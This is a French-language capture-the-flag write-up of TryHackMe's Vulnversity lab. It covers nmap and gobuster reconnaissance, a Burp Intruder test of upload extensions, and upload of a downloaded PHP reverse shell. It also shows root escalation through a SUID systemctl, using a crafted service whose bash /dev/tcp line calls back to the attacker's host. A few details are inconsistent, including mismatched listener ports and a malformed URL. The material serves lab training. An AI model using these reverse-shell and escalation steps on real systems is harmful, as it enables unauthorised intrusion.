TryHackMe - Vulnversity

TG
  • Tommy Gingras
    Studio Webux S.E.N.C
    21 Septembre 2020

TryHackMe - Vulnversity

Introduction

Voici mes notes pour le challenge vulnversity de tryhackme.com

Les outils utilisés

  • Kali Linux
  • nmap
  • gobuster
  • burp
  • netcat
  • PHP
  • SUID
  • Service en Linux

Étape 1 - Reconnaissance

Scanner notre host avec la détection des versions.

nmap -sV $host

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:46 EDT
Nmap scan report for 10.10.212.43
Host is up (0.088s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.14 seconds

Scanner les 400 premiers ports (0-400)

nmap -sV -p-400 \$host

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:47 EDT
Nmap scan report for 10.10.212.43
Host is up (0.089s latency).
Not shown: 397 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.00 seconds

Étape 2 - Collecter des informations sur notre cible

Nous allons utiliser gobuster pour récupérer l’information des répertoires exposés

Documentation : https://github.com/OJ/gobuster

sudo apt-get install -y gobuster

Par défaut les wordlists se trouvent ici : /usr/share/wordlists

Pour démarrer le scan:

gobuster dir -u http://$host:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Étape 3 - Exploitation

Nous allons utiliser Burp Documentation : https://portswigger.net/burp

La première étape est de créer un fichier contenant toutes les extensions que nous voulons tester. Notre objectif est de trouver une extention qui sera permissive et qui nous permettra d’envoyer un “evil script”.

cat phpext.txt
.php
.php3
.php4
.php5
.phtml

Ouvrir Burp,

Naviguer comme suit:

Temporary Project > Use Burp Defaults > Start Burp

Maintenant il faut configurer burp pour notre attaque.

Il faut premièrement activer l’intercepteur de trafic.

Proxy > Intercept > Intercept is ON

Ensuite dans notre navigateur, il faut ajouter le proxy comme suit : 127.0.0.1:8080

Puis retourner sur la page web et faite F5, burp devrait avoir intercepté la requête.

Il faut envoyer la requête à l’outil Intruder

Proxy > Intercept > Action > Send to Intruder Puis allez, Intruder > positions > Sniper attack type

Sélectionner l’extension du fichier (.php), puis cliquer sur Add S

Maintenant pour lancer l’attaque: Intruder > Payloads

  • Payload type: Simple list

  • Charger le fichier phpext.txt

  • décocher le URL-encode these characters (ou seulement enlever le ‘.’ de la liste)

  • Launch the Attack

Voici un exemple de la requête:

POST /internal/index.php HTTP/1.1
Host: 10.10.212.43:3333
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.212.43:3333/internal/index.php
Content-Type: multipart/form-data; boundary=---------------------------102113168794466529604392760
Content-Length: 329
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
-----------------------------102113168794466529604392760
Content-Disposition: form-data; name="file"; filename="test§.txt§"
Content-Type: application/x-php
-----------------------------102113168794466529604392760
Content-Disposition: form-data; name="submit"
Submit
-----------------------------102113168794466529604392760--

Il faut vérifier la réponse obtenue pour chaque extention, vous devez en avoir une qui fonctionne.

Il faut télécharger ce fichier, Reverse Shell : https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Pour pour permettre de ce connecter en utilisant le script PHP, il faut modifier deux informations:

  • L’adresse IP pour se connecter (Notre IP dans ce cas)
  • Le port de connexion (un port que vous choisissez, je vais prendre le 6666)

Ouvrir une nouvelle fenêtre terminal puis démarrer votre serveur en utilisant netcat

nc -lvnp 6666
listening on [any] 6666 ...

Maintenant, il faut uploader le “evil script” en utilisant le formulaire, vous allez voir que la page va charger à l’infini et c’est normal.

Arrêter Burp et enlever le proxy avant de faire le upload.

Pour établir la connexion entre le serveur et votre machine, allez à l’Adresse suivante : http://:3333$host/internal/uploads/php-reverse-shell.phtml

Sur votre console de Kali Linux, vous devriez avoir quelque chose comme :

connect to [10.6.25.10] from (UNKNOWN) [10.10.212.43] 57906
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x8664 x8664 x86_64 GNU/Linux
14:20:54 up 36 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Ne faites pas CTRL+C, vous allez devoir vous reconnecter, puis le autocompletion ne fonctionne pas

Étape 4 - Privileges escalation

Chercher les fichiers SUID

find / -perm /4000

Pour les SGID (non utilisé ici)

find / -perm /2000
### REMOVED all /proc/**
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
### REMOVED all Permission Denied
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
/bin/systemctl
/bin/ping
/bin/fusermount
find: '/tmp/systemd-private-dc88bcef9f8f46418774a77d2234331e-systemd-timesyncd.service-VByJuR': Permission denied
find: '/sys/fs/fuse/connections/39': Permission denied
find: '/sys/kernel/debug': Permission denied
/sbin/mount.cifs
find: '/root': Permission denied

Il faut vérifier la liste ci-dessus et regarder s’il y a des programmes qui ne devraient pas être là. Puis le /etc/systemctl ne devrait pas.

Nous allons utiliser le fait que systemctl soit exécuté en root peu importe l’usager qui le lance pour devenir root

Voici ce que nous allons faire : https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

Nous allons créer un service qui crée un reverse Shell, et ce Shell sera root car la commande est lancée en tant que root.

echo "[Unit]" > /tmp/mr.service
echo "Description=Hola" >> /tmp/mr.service
echo "[Service]" >> /tmp/mr.service
echo "Type=simple" >> /tmp/mr.service
echo "User=root" >> /tmp/mr.service
echo "ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.8.23.12/6666 0>&1'" >> /tmp/mr.service
echo "[Install]" >> /tmp/mr.service
echo "WantedBy=multi-user.target" >> /tmp/mr.service
cat /tmp/mr.service

Sur kali, démarrer un second serveur avec netcat

nc -lvnp 4444
listening on [any] 4444 ...

Puis démarrez le service comme suit:

systemctl enable /tmp/mr.service
Created symlink from /etc/systemd/system/multi-user.target.wants/mr.service to /tmp/mr.service.
Created symlink from /etc/systemd/system/mr.service to /tmp/mr.service.

systemctl start mr

Puis sur votre shell de kali:

connect to [10.6.25.10] from (UNKNOWN) [10.10.212.43] 35798
bash: cannot set terminal process group (1717): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnuniversity:/#

Vous voilà maintenant root !